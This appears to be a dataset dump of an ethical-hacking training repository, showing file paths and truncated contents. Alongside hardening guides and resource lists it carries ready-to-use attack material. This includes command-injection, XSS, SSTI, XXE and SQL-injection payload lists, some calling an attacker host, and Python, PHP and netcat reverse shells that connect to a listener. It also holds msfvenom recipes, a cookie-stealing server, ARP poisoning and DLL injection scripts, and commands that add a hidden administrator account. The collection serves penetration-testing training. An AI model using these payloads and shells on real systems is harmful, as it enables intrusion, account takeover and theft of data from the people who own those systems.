language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
Markdown
h4cker/fuzzing_resources/README.md
# Fuzzing Resources ## Commercial Fuzzers - [Synopsis Defensics](https://www.synopsys.com/software-integrity/security-testing/fuzz-testing.html) - [Code Intelligence](https://www.code-intelligence.com/) - [Mayhem for Code](https://forallsecure.com/mayhem-for-code) - [BeyondSecurity Fuzzer](https://www.beyondsecurity.c...
Markdown
h4cker/game_hacking/README.md
# Game Hacking - The Ultimate Game Hacking Resource: A curated list of tools, tutorials, and much more for reverse engineering video games! https://github.com/dsasmblr/game-hacking - The Ultimate Online Game Hacking Resource: https://github.com/dsasmblr/hacking-online-games
Markdown
h4cker/honeypots_honeynets/README.md
# Honeypots and HoneyNets The following are several references and resources related to HoneyPots/HoneyNets. ## Community - [The HoneyNet Project](https://www.honeynet.org): an international 501c3 non-profit security research organization, dedicated to investigating the latest attacks and developing open source securi...
Markdown
h4cker/iot_hacking/flags.md
# IoT Hacking CLUS CTF Flags The following are the CTF flags for the grafana vulnerability in the IoT device: The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use ../ to step up from the plugin folder to parent foler and...
Markdown
h4cker/iot_hacking/README.md
# Internet of Things (IoT) Hacking Resources The Internet of Things (IoT) Hacking Resources refer to an array of tools and frameworks used to ensure the security of IoT devices and networks. ## Analysis Frameworks - [EXPLIoT](https://gitlab.com/expliot_framework/expliot): This is a penetrating testing framework that ...
Markdown
h4cker/linux-hardening/BIOS-best-practices.md
# BIOS and Security Settings BIOS, or Basic Input/Output System, is an essential part of a computer's operation, as it initiates the boot process and provides communication between the operating system and the hardware. As such, the security of the BIOS is critical to the overall security of the system. The following ...
Markdown
h4cker/linux-hardening/container_optimized_linux_images.md
# Container-optimized Linux distributions Container-optimized Linux distributions are designed specifically for deploying, running, and managing containers. Some of the popular distributions include: | Linux Distribution | Official Link | |-------------------|---------------| | Alpine Linux | [https://www.alpinelinu...
Markdown
h4cker/linux-hardening/LSM-comparison.md
# A Comparative Overview of SELinux, AppArmor, Yama, TOMOYO Linux, and Smack Introduction: In the realm of Linux security, various Linux Security Modules (LSMs) have been developed to enhance access control and provide mandatory access control (MAC) mechanisms. This article explores five popular LSMs: SELinux, AppArmo...
Markdown
h4cker/linux-hardening/nftables_iptables_ufw_firewalld.md
# iptables, nftables, UFW, and firewalld The following is comparison table highlighting the features and characteristics of iptables, nftables, UFW (Uncomplicated Firewall), and firewalld: | Feature | iptables | nftables | UFW ...
Markdown
h4cker/linux-hardening/port-knocking-and-spa.md
# Port Knocking and Single Packet Authorization (SPA) Port Knocking is a technique used to secure network services by adding an extra layer of protection to the system's firewall. It involves a series of connection attempts to predefined closed ports in a particular sequence or pattern. Only after the correct sequence ...
Markdown
h4cker/linux-hardening/README.md
# Linux Hardening Tips The following are a few resources related to hardening Linux implementations. ## Linux Basics - [Null-byte Linux Basics](https://null-byte.wonderhowto.com/how-to/linux-basics/). - [Kali Linux Revealed Free Course](https://kali.training/) ### Cool Ways to Test Your Linux Knowledge - [Overthewire...
Markdown
h4cker/linux-hardening/selinux_CENTOS_lab.md
# SELinux Lab Notes The following is based on contributions from the Linode Linux community. SELinux is a Mandatory Access Control (MAC) system, developed by the NSA. SELinux was developed as a replacement for Discretionary Access Control (DAC) that ships with most Linux distributions. The difference between DAC and ...
Markdown
h4cker/linux-hardening/selinux_UBUNTU_lab.md
# SELinux in Ubuntu Lab The following can be completed with Ubuntu 22.x or later. ## Installing and Enabling SELinux The first step is to install SELinux. Start by opening a command line terminal and installing the necessary packages with the apt commands below. ``` $sudo apt update $ sudo apt install policycoreutils...
Markdown
h4cker/linux-hardening/understanding_selinux.md
# Understanding and Using SELinux SELinux, or Security-Enhanced Linux, is an advanced access control mechanism integrated into the Linux kernel. Initially developed by the National Security Agency (NSA), it provides Mandatory Access Control (MAC) unlike traditional Unix/Linux access control which provides Discretionar...
Markdown
h4cker/metasploit_resources/README.md
# Metasploit Resources * [Offensive Security Metasploit Unleashed Free Course](https://www.offensive-security.com/metasploit-unleashed/) - a free course from the folks at Offensive Security created to help raise awareness for underprivileged children in East Africa. Please make a donation to the Hackers For Charity no...
JSON
h4cker/mobile_security/output.json
[ { "outputType": { "type": "APK" }, "apkInfo": { "type": "MAIN", "splits": [ ], "versionCode": 1, "versionName": "1.0", "enabled": true, "outputFile": "app-release.apk", "fullName": "release", "baseName": "release" }, "path": "a...
Markdown
h4cker/mobile_security/README.md
# Mobile Device Security The following are several of the resources covered in the [Art of Hacking Series LiveLessons](https://theartofhacking.org), [Safari Live Training](https://www.safaribooksonline.com/search/?query=ethical%20hacking%20omar%20santos&extended_publisher_data=true&highlight=true&is_academic_institutio...
h4cker/mobile_security/OmarsApplication/.gitignore
*.iml .gradle /local.properties /.idea/libraries /.idea/modules.xml /.idea/workspace.xml .DS_Store /build /captures .externalNativeBuild
h4cker/mobile_security/OmarsApplication/build.gradle
// Top-level build file where you can add configuration options common to all sub-projects/modules. buildscript { repositories { google() jcenter() } dependencies { classpath 'com.android.tools.build:gradle:3.1.3' // NOTE: Do not place your application depende...
h4cker/mobile_security/OmarsApplication/gradle.properties
# Project-wide Gradle settings. # IDE (e.g. Android Studio) users: # Gradle settings configured through the IDE *will override* # any settings specified in this file. # For more details on how to configure your build environment visit # http://www.gradle.org/docs/current/userguide/build_environment.html # Specifies the...
h4cker/mobile_security/OmarsApplication/gradlew
#!/usr/bin/env sh ############################################################################## ## ## Gradle start up script for UN*X ## ############################################################################## # Attempt to set APP_HOME # Resolve links: $0 may be a link PRG="$0" # Need this for relative symlin...
h4cker/mobile_security/OmarsApplication/gradlew.bat
@if "%DEBUG%" == "" @echo off @rem ########################################################################## @rem @rem Gradle startup script for Windows @rem @rem ########################################################################## @rem Set local scope for the variables with windows NT shell if "%OS%"=="Window...
h4cker/mobile_security/OmarsApplication/app/build.gradle
apply plugin: 'com.android.application' android { compileSdkVersion 28 defaultConfig { applicationId "org.h4cker.omar.omarsapplication" minSdkVersion 27 targetSdkVersion 28 versionCode 1 versionName "1.0" testInstrumentationRunner "android.support.test.runner.And...
h4cker/mobile_security/OmarsApplication/app/proguard-rules.pro
# Add project specific ProGuard rules here. # You can control the set of applied configuration files using the # proguardFiles setting in build.gradle. # # For more details, see # http://developer.android.com/guide/developing/tools/proguard.html # If your project uses WebView with JS, uncomment the following # and s...
JSON
h4cker/mobile_security/OmarsApplication/app/release/output.json
[{"outputType":{"type":"APK"},"apkInfo":{"type":"MAIN","splits":[],"versionCode":1,"versionName":"1.0","enabled":true,"outputFile":"app-release.apk","fullName":"release","baseName":"release"},"path":"app-release.apk","properties":{}}]
Java
h4cker/mobile_security/OmarsApplication/app/src/androidTest/java/org/h4cker/omar/omarsapplication/ExampleInstrumentedTest.java
package org.h4cker.omar.omarsapplication; import android.content.Context; import android.support.test.InstrumentationRegistry; import android.support.test.runner.AndroidJUnit4; import org.junit.Test; import org.junit.runner.RunWith; import static org.junit.Assert.*; /** * Instrumented test, which will execute on a...
Java
h4cker/mobile_security/OmarsApplication/app/src/main/java/org/h4cker/omar/omarsapplication/ItemDetailActivity.java
package org.h4cker.omar.omarsapplication; import android.content.Intent; import android.os.Bundle; import android.support.design.widget.FloatingActionButton; import android.support.design.widget.Snackbar; import android.support.v7.widget.Toolbar; import android.view.View; import android.support.v7.app.AppCompatActivit...
Java
h4cker/mobile_security/OmarsApplication/app/src/main/java/org/h4cker/omar/omarsapplication/ItemDetailFragment.java
package org.h4cker.omar.omarsapplication; import android.app.Activity; import android.support.design.widget.CollapsingToolbarLayout; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextV...
Java
h4cker/mobile_security/OmarsApplication/app/src/main/java/org/h4cker/omar/omarsapplication/ItemListActivity.java
package org.h4cker.omar.omarsapplication; import android.content.Context; import android.content.Intent; import android.os.Bundle; import android.support.annotation.NonNull; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import ...
Java
h4cker/mobile_security/OmarsApplication/app/src/main/java/org/h4cker/omar/omarsapplication/dummy/DummyContent.java
package org.h4cker.omar.omarsapplication.dummy; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; /** * Helper class for providing sample content for user interfaces created by * Android template wizards. * <p> * TODO: Replace all uses of this class before publishi...
Java
h4cker/mobile_security/OmarsApplication/app/src/test/java/org/h4cker/omar/omarsapplication/ExampleUnitTest.java
package org.h4cker.omar.omarsapplication; import org.junit.Test; import static org.junit.Assert.*; /** * Example local unit test, which will execute on the development machine (host). * * @see <a href="http://d.android.com/tools/testing">Testing documentation</a> */ public class ExampleUnitTest { @Test p...
h4cker/mobile_security/OmarsApplication/gradle/wrapper/gradle-wrapper.properties
#Sat Jun 16 13:01:52 EDT 2018 distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists distributionUrl=https\://services.gradle.org/distributions/gradle-4.4-all.zip
Text
h4cker/more_payloads/command_injection_unix.txt
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt; &lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt; &lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt; &lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt; /index.html|id| ;id; ;id ;netstat -a; ;system('cat%20/etc/passwd') ;id; |id |/usr/bin/id |id| |/usr/bin/id| ||/u...
Text
h4cker/more_payloads/more-xxs-payloads.txt
"-prompt(8)-" '-prompt(8)-' ";a=prompt,a()// ';a=prompt,a()// '-eval("window['pro'%2B'mpt'](8)")-' "-eval("window['pro'%2B'mpt'](8)")-" "onclick=prompt(8)>"@x.y "onclick=prompt(8)><svg/onload=prompt(8)>"@x.y <image/src/onerror=prompt(8)> <img/src/onerror=prompt(8)> <image src/onerror=prompt(8)> <img src/onerror=prompt(...
Markdown
h4cker/more_payloads/README.md
# A Collection of Miscellaneous Payloads for WebSploit Labs This is a collection of different payloads for [WebSploit Labs](https://websploit.org/). [WebSploit Labs](https://websploit.org/) is a learning environment created by Omar Santos for different Cybersecurity Ethical Hacking (Web Penetration Testing) training se...
Text
h4cker/more_payloads/server-side-template-injection.txt
{{2*2}}[[3*3]] {{3*3}} {{3*'3'}} <%= 3 * 3 %> ${6*6} ${{3*3}} @(6+5) #{3*3} #{ 3 * 3 } {{dump(app)}} {{app.request.server.all|join(',')}} {{config.items()}} {{ [].class.base.subclasses() }} {{''.class.mro()[1].subclasses()}} {{ ''.__class__.__mro__[2].__subclasses__() }} {% for key, value in config.iteritems() %}<dt>{{...
Text
h4cker/more_payloads/xss_obfuscation_vectors.txt
# A collection of XSS vectors ``` <script\x20type="text/javascript">javascript:alert(1);</script> <script\x3Etype="text/javascript">javascript:alert(1);</script> <script\x0Dtype="text/javascript">javascript:alert(1);</script> <script\x09type="text/javascript">javascript:alert(1);</script> <script\x0Ctype="text/javascr...
Markdown
h4cker/more_payloads/xxe-injection-payloads.md
# XML External Entity (XXE) Injection Payloads * XXE : Classic XXE ``` <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <data>&file;</data> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///et...
Text
h4cker/more_payloads/SQLi/mssql-enumeration.txt
select @@version select @@servernamee select @@microsoftversione select * from master..sysserverse select * from sysusers exec master..xp_cmdshell 'ipconfig+/all' exec master..xp_cmdshell 'net+view' exec master..xp_cmdshell 'net+users' exec master..xp_cmdshell 'ping+<attackerip>' BACKUP database master to disks='\\<at...
Text
h4cker/more_payloads/SQLi/mysql-injection-login-bypass.txt
<username>' OR 1=1-- 'OR '' = ' Allows authentication without a valid username. <username>'-- ' union select 1, '<user-fieldname>', '<pass-fieldname>' 1-- 'OR 1=1--
Text
h4cker/more_payloads/SQLi/mysql-read-local-files.txt
create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;
Text
h4cker/more_payloads/SQLi/postgres-enumeration.txt
select version(); select current_database(); select current_user; select session_user; select current_setting('log_connections'); select current_setting('log_statement'); select current_setting('port'); select current_setting('password_encryption'); select current_setting('krb_server_keyfile'); select current_setting(...
Text
h4cker/more_payloads/SQLi/sql-blind-MSSQL-INSERT.txt
)%20waitfor%20delay%20'0:0:20'%20/* )%20waitfor%20delay%20'0:0:20'%20-- ')%20waitfor%20delay%20'0:0:20'%20/* ')%20waitfor%20delay%20'0:0:20'%20-- ")%20waitfor%20delay%20'0:0:20'%20/* ")%20waitfor%20delay%20'0:0:20'%20-- ))%20waitfor%20delay%20'0:0:20'%20/* ))%20waitfor%20delay%20'0:0:20'%20-- '))%20waitfor%20delay%20'0...
Text
h4cker/more_payloads/SQLi/sql-blind-MSSQL-WHERE.txt
waitfor delay '0:0:20' /* waitfor delay '0:0:20' -- ' waitfor delay '0:0:20' /* ' waitfor delay '0:0:20' -- " waitfor delay '0:0:20' /* " waitfor delay '0:0:20' -- ) waitfor delay '0:0:20' /* ) waitfor delay '0:0:20' -- )) waitfor delay '0:0:20' /* )) waitfor delay '0:0:20' -- ))) waitfor delay '0:0:20' /* ))) w...
Text
h4cker/more_payloads/SQLi/sql-blind-MySQL-INSERT.txt
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 "+if(benchmark(3000000,MD5(1)),NU...
Text
h4cker/more_payloads/SQLi/sql-blind-MySQL-ORDER_BY.txt
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(300000...
Text
h4cker/more_payloads/SQLi/sql-blind-MySQL-WHERE.txt
and 0=benchmark(3000000,MD5(1))%20/* and 0=benchmark(3000000,MD5(1))%20-- and 0=benchmark(3000000,MD5(1))%20%23 ' and 0=benchmark(3000000,MD5(1))%20/* ' and 0=benchmark(3000000,MD5(1))%20-- ' and 0=benchmark(3000000,MD5(1))%20%23 " and 0=benchmark(3000000,MD5(1))%20/* " and 0=benchmark(3000000,MD5(1))%20-- " and 0=be...
Markdown
h4cker/networking/README.md
# Basic Networking Resources The following are some good basic networking resources to get you started. ## TCP/IP Protocols **Note**: Links without description are official RFCs from the Internet Engineering Task Force (IETF). * [Address Resolution Protocol (ARP)](https://datatracker.ietf.org/doc/rfc826/) * [Borde...
Markdown
h4cker/osint/dns-zone-transfer.md
# DNS Zone Transfer [Digi.ninja](https://digi.ninja/projects/zonetransferme.php) has an amazing explanation of DNS zone transfer attacks and resource for you to practice this in a safe environment. The domain available to practice is `zonetransfer.me` and the two name servers are `nsztm1.digi.ninja` and `nsztm2.digi.n...
Markdown
h4cker/osint/README.md
# Open-source Intelligence (OSINT) Open-source intelligence (OSINT) is data collected from open source and publicly available sources. The following are a few OSINT resources and references: ## Passive Recon Tools: - [AMass](https://github.com/OWASP/Amass) - [Deepinfo (commercial tool)](https://deepinfo.com) - [Exift...
Text
h4cker/osint/quick_recon/alpha.txt
Current Micro Plugins : [>] Subdomains...[UP] [>] Sub-Subdomains...[UP] [>] Signup/Login pages...[UP] [>] Dir Listing...[UP] [>] Exposed Docs...[UP] [>] WordPress Entries...[UP] [>] Pasting Sites...[UP]
Python
h4cker/osint/quick_recon/quick_recon.py
#!/usr/bin/env python3 # A script to perform a quick OSINT recon for a given domains # This is an example and work in progress import os , sys , time , requests , random from googlesearch import search from termcolor import colored, cprint from http import cookiejar from urllib.parse import urlparse from plugins impor...
Python
h4cker/osint/quick_recon/quick_recon_cli.py
#quick_recon_Cli #Coded by Adnane X Tebbaa #Github : https://www.github.com/adnane-x-tebbaa/quick_recon #Twitter : @TebbaaX import os import sys import time import requests import random from googlesearch import search from termcolor import colored, cprint from http import cookiejar TLD = ["com","ru","com.hk"] bet...
Python
h4cker/osint/quick_recon/plugins/pasting.py
#!/usr/bin/env python3 # A script to perform a quick OSINT recon for a given domains # This is an example and work in progress import os import sys import time import requests import random from googlesearch import search from termcolor import colored, cprint from http import cookiejar TLD = ["co.ma","dz","ru","ca"] ...
Markdown
h4cker/pcaps/README.md
# List of Interesting Packet Capture (.pcap) Files - https://www.malware-traffic-analysis.net/ - https://digitalcorpora.org/corpora/network-packet-dumps - https://www.netresec.com/?page=PcapFiles - https://www.netresec.com/?page=MACCDC - https://github.com/zeek/zeek/tree/master/testing/btest/Traces - https://www.ll.mi...
Markdown
h4cker/pen_testing_reports/README.md
# Public Pen Testing Reports The following are several resources that are useful when writing penetration testing reports, including many different examples: | Resource | URL | ------------- |-------------| |Curated List of penetration testing reports | https://github.com/santosomar/public-pentestin...
Markdown
h4cker/post_exploitation/misc-windows-post-exploitation.md
# Misc Windows Post Exploitation Tasks ### Adding a Windows User (joker): ``` net user /add joker password123 ``` ### Adding a user to the Administrators groups ``` net localgroup administrators /add joker ``` ### Adding a user to the Remote Desktop user group ``` net localgroup "Remote Desktop users" hacker /add ``...
Markdown
h4cker/post_exploitation/msfvenom.md
# MSFVenom MsfVenom is a Metasploit standalone payload generator as a replacement for msfpayload and msfencode. ## Creating Binaries The following create different binaries for meterpreter and reverse TCP shells: ### Creates a Reverse TCP Meterpreter Shell - Payload for Windows ``` msfvenom -p windows/meterpreter/r...
PHP
h4cker/post_exploitation/php-reverse-shell.php
<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. ...
Markdown
h4cker/post_exploitation/powershell_commands.md
| PowerShell Command | Description | |----------------------------------------------|------------------------------------| | `Get-ChildItem` | Lists directories | | `Copy-Item sourceFile.doc destinationFile.doc` | Copies a file (cp, copy, cpi) | | `Move-It...
Python
h4cker/post_exploitation/python-reverse.py
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.3.2.1",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Markdown
h4cker/post_exploitation/README.md
# Post Exploitation Resources ## Lateral movement * [Eventvwr File-less UAC Bypass CNA](https://www.mdsec.co.uk/2016/12/cna-eventvwr-uac-bypass/) * [Lateral movement using excel application and dcom](https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/) * [WSH Injection: A Case Study](ht...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/amazing_python_references.md
# Python-related References One of the most comprehensive lists of Python-related resources is: https://github.com/vinta/awesome-python ## PySec * https://github.com/ebranca/owasp-pysec A hardened version of python created by the folks from OWASP. It makes it easier for security professionals and developers to write ...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/bash_resources.md
## Books and Resources - [The Bash-Hackers Wiki](http://wiki.bash-hackers.org/doku.php) - Human-readable documentation of any kind about GNU Bash - [Bash beginner's mistakes](http://wiki.bash-hackers.org/scripting/newbie_traps) (by the Bash-Hackers Wiki) - [Bash Guide](http://mywiki.wooledge.org/BashGuide) - A b...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/basic_programming_resources.md
# Basic Programming Resources and Tutorials ## Python - [Awesome Python - GitHub Repo](https://github.com/vinta/awesome-python) - [Python Tutorials in W3 Schools](https://www.w3schools.com/python/python_for_loops.asp) - [Full Stack Python](https://www.fullstackpython.com/) - [Python Cheatsheet](https://www.pythoncheat...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/getting_started_code_review.md
# Getting Started to Perform Security Code Reviews The following are several resources that will help you get started on how to perform code reviews to find security bugs/vulnerabilities. **TIP:** - Don't feel that you have to learn everything at once. Start by learning a framework, basics of a programming language, ...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/javascript.md
# JavaScript References - [MDN](https://developer.mozilla.org/docs/Web/JavaScript/Reference) - Simply the best language reference. - [DevDocs](http://devdocs.io/javascript) - Search MDN comfortably. Even offline. - [Simplified JavaScript Jargon](http://jargon.js.org) - Glossary which explains all the buzzwords from th...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/perl.md
# Perl Resources The following are a few resources for individuals trying to learn Perl. ## Tutorials: * [TutorialPoint Perl Tutorial](https://www.tutorialspoint.com/perl/index.htm) * [PerTutorial.org](https://www.perltutorial.org/) * [PerlMaven Tutorial](https://perlmaven.com/perl-tutorial) ## Libraries for develop...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/text_manipulation.md
# Tips for Text Manipulation ## grep Commands Cheatsheets - [Ryan's Tutorials Cheat Sheet](https://ryanstutorials.net/linuxtutorial/cheatsheetgrep.php) - [DevNotes cheatsheet](https://dev-notes.eu/2016/10/grep-commands-cheatsheet) ## Regex - [grep + regex cheatsheet](https://staff.washington.edu/weller/grep.html) - ...
Python
h4cker/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py
#!/usr/bin/env python3 # ARP Cache Poisoning Attack using SCAPY # Version: 0.3 # Author: Omar Santos @santosomar # This script performs an ARP cache poisoning attack using the SCAPY library. # It spoofs ARP replies to the target and gateway, causing them to update their ARP tables with the attacker's MAC address. # The...
Python
h4cker/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner_simple.py
from scapy.all import * # Author: Omar Santos # Perform ARP cache poisoning def perform_arpcache_poisoning(victim_ip, gateway_ip): """ Performs ARP cache poisoning by sending a crafted ARP packet to associate the gateway IP-MAC mapping with the victim IP. :param victim_ip: IP address of the victim de...
Python
h4cker/programming_and_scripting_for_cybersecurity/exploitation/basic_ipv4_scapy_packet.py
from scapy.all import * # create the packet packet = IP(src="10.1.1.2", dst="10.3.2.88")/TCP(dport=445) # send the packet send(packet) # You can also use sr() function for sending and receiving packet at the same time. # ans, unans = sr(packet, timeout=2)
Python
h4cker/programming_and_scripting_for_cybersecurity/exploitation/basic_ipv6_scapy_packet.py
from scapy.all import * # create the packet packet = IP(src="10.1.1.2", dst="10.3.2.88")/TCP(dport=445) # send the packet send(packet) # You can also use sr() function for sending and receiving packet at the same time. # ans, unans = sr(packet, timeout=2)
Python
h4cker/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py
#!/usr/bin/env python3 # This is a fairly basic Flask app / script to steal cookies # It can be used as a cookie-stealer for XSS and CSRF attacks # This is available by default in WebSploit Labs (websploit.org) # Make sure that you have flask, requests, and redirect installed # pip3 install flask, requests, redirect ...
Python
h4cker/programming_and_scripting_for_cybersecurity/exploitation/dll_injection_example.py
#!/usr/bin/env python3 # An example example of reflective DLL injection import sys from ctypes import * from win32com.client import GetObject if len(sys.argv) < 2: print "Python code injector: ./" + sys.argv[0] + " <process to inject>" sys.exit(0) proc = sys.argv[1] WMI = GetObject('winmgmts:') p = WMI.ExecQ...
Python
h4cker/programming_and_scripting_for_cybersecurity/exploitation/pyshark_example.py
#!/usr/bin/python # Author: Omar Santos @santosomar # version 1.0 # This is a quick demonstration on how to use the python pyshark library # * Pre-requisite: pyshark python library. # * Install it with pip install pyshark # PyShark is a Python wrapper for tshark, # allowing python packet parsing using wireshark dis...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/exploitation/python_cool_tricks.md
# Cool Python Tricks Please do not use Python 2 and work using Python 3. However, I have added a few examples of the old ways of doing these operations in Python 2 for your reference only. ## Starting a quick web server to serve some files (useful for post exploitation) ### In Python 2.x ``` python -m SimpleHTTPServ...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/parsing_auth_log/bash_tips.md
## Searching with Grep One of the simplest ways to analyze logs is by performing plain text searches using grep. grep is a command line tool that can search for matching text in a file, or in output from other commands. It’s included by default in most Linux distributions and is also available for Windows and Mac. To ...
Python
h4cker/programming_and_scripting_for_cybersecurity/parsing_auth_log/logalyzer.py
import os import sys from optparse import OptionParser import ParseLogs # # Logalyzer. Original: https://github.com/hatRiot/logalyzer # Converted to python3.6 by @programmerchad # # callback for the user flag def user_call(option, opt_str, value, parser): if len(parser.rargs) != 0: value = parser.rargs...
Python
h4cker/programming_and_scripting_for_cybersecurity/parsing_auth_log/ParseLogs.py
import gzip import re # # ParseLogs.py # Parsing component of Logalyzer. Original: https://github.com/hatRiot/logalyzer # Converted to python3.6 by @programmerchad # # log object # Stuck into a dictionary by user:Log, where log houses # logs, fails, successes, logged IPs, and commands used class Log: # dump date...
Shell Script
h4cker/programming_and_scripting_for_cybersecurity/post_exploitation/armor.sh
#!/bin/bash # based on the work by @tokyoneon_ # Armor relies on LibreSSL to encrypt the input file and create the SSL certificate. # If LibreSSL isn't found in your system, Armor will attempt to install it. # Variables for colorful terminal output. R="\033[1;31m" Y="\033[1;33m" G="\033[1;32m" N="\033[0;39m" clear #...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/post_exploitation/c2_example1.md
# Example of Creating a C2 Using Python Let's create a Python script that sets up a listener to communicate with a remote device. The listener waits for a connection, then allows the user to send commands to the remote device. 🤖 Checkout [this prompt in ChatGPT](https://chat.openai.com/share/a8399b03-9d33-444a-bce3...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/post_exploitation/exfil-scapy.md
# Example of Exfiltration over IPv6 Using Scapy Libraries like scapy for Python make it easier for developers to interact with networking abstractions at a higher level. For example, with only two lines of code we are able to send a crafted packet to an IPv6 endpoint: ``` from scapy.all import IPv6,Raw,send send(IPv...
Shell Script
h4cker/programming_and_scripting_for_cybersecurity/post_exploitation/letmeout.sh
#!/bin/bash # A quick script to test exfil ports. # Using @mubix letmeoutofyour.net site (https://gitlab.com/mubix/letmeoutofyour.net) # Author: Omar Santos @santosomar for i in $(eval echo {$1..$2}) do echo "Is port $i open for potential exfil?" curl http://letmeoutofyour.net:$i done
Markdown
h4cker/programming_and_scripting_for_cybersecurity/post_exploitation/reverse_shells.md
# Reverse Shell Commands The following are some useful commands to start listeners and reverse shells in Linux and Windows-based systems. ## Netcat Linux Reverse Shell `nc 10.10.10.10 888 -e /bin/sh` * 10.10.10.10 is the IP address of the machine you want the victim to connect to. * 888 is the port number (change this...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/snmp.md
# Useful SNMP Commands # Search for Windows installed software `smpwalk !grep hrSWinstalledName` ## Search for Windows users `snmpwalk ip 1.3 lgrep --.1.2.25 -f4` ## Search for Windows running services `snrnpwalk -c public -v1 ip 1 lgrep hrSWRJnName !cut -d" " -f4` ## Search for Windows open TCP ports `smpwalk lgre...
Shell Script
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/dns_recon/dns-recon2.sh
#!/bin/bash # bruteforce subdomains # Use a wordlist of your choice. I am using dnscan's wordlist in this example for domain in $(cat /usr/share/wordlists/amass/fierce_hostlist.txt); do host $domain.h4cker.org; done | grep -v NXDOMAIN | sort -u
Markdown
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/dns_recon/dns_plus_whois.md
# DNS Resolution + WHOIS During a penetration test, it is crucial to verify that the discovered hosts are within the defined scope. In today's landscape, where organizations often leverage cloud services to host their applications, it becomes essential to determine if a subdomain or hostname belongs to an application ...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/dns_recon/dns_recon.md
# DNS Reconnassaince ## DNSRECON * [dnsrecon](https://github.com/darkoperator/dnsrecon) - DNS Enumeration Script created by Carlos Perez (darkoperator) Reverse lookup for IP range: `./dnsrecon.rb -t rvs -i 10.1.1.1,10.1.1.50` Retrieve standard DNS records: `./dnsrecon.rb -t std -d example.com` Enumerate subdornains...
Shell Script
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/dns_recon/host_DNS_enum.sh
# quick script to get IP addresses from a predefined domain list text file. #create a file called domains.txt and exec the following one-liner script. for url in $(cat domains.txt); do host $url; done | grep "has address" | cut -d " " -f 4 | sort -u
Markdown
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/dns_recon/subdomain_finder_in_python.md
# How to Create a Sub-Domain Finder in Python The following is a sample Python script to find subdomains using DNS. This script is using the `dns.resolver` module from the `dnspython` library. If you don't have the library installed, you can install it using pip: ``` pip3 install dnspython ``` The following is the P...
Markdown
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/finding_sensitive_files/README.md
# Sensitive File Scanner This script scans a specified directory for sensitive files based on file extensions and patterns. It is designed to be used on Linux systems. ## Requirements - Python 3.x ## Usage To use the script, follow the steps below: 1. Save the script to a file named `sensitive_file_scanner.py`. ...
Python
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/finding_sensitive_files/sensitive_file_scanner.py
#!/usr/bin/env python3 """ Script Name: sensitive_file_scanner.py Author: Omar Santos Version: 0.1 Description: This script scans a specified directory for sensitive files based on file extensions and patterns. It is designed to be used on Linux systems. The script will output the paths of any matching sens...
Python
h4cker/programming_and_scripting_for_cybersecurity/recon_scripts/scanning/basic_ping_sweep.py
# A simple script to perform a ping sweep of the # Websploit (websploit.org) containers in the # 10.6.6.0/24 network. import subprocess # Define the network to scan network = "10.6.6.0/24" # Use the 'ping' command to scan the network for i in range(1, 255): ip = "10.6.6." + str(i) result = subprocess.run([...
Python
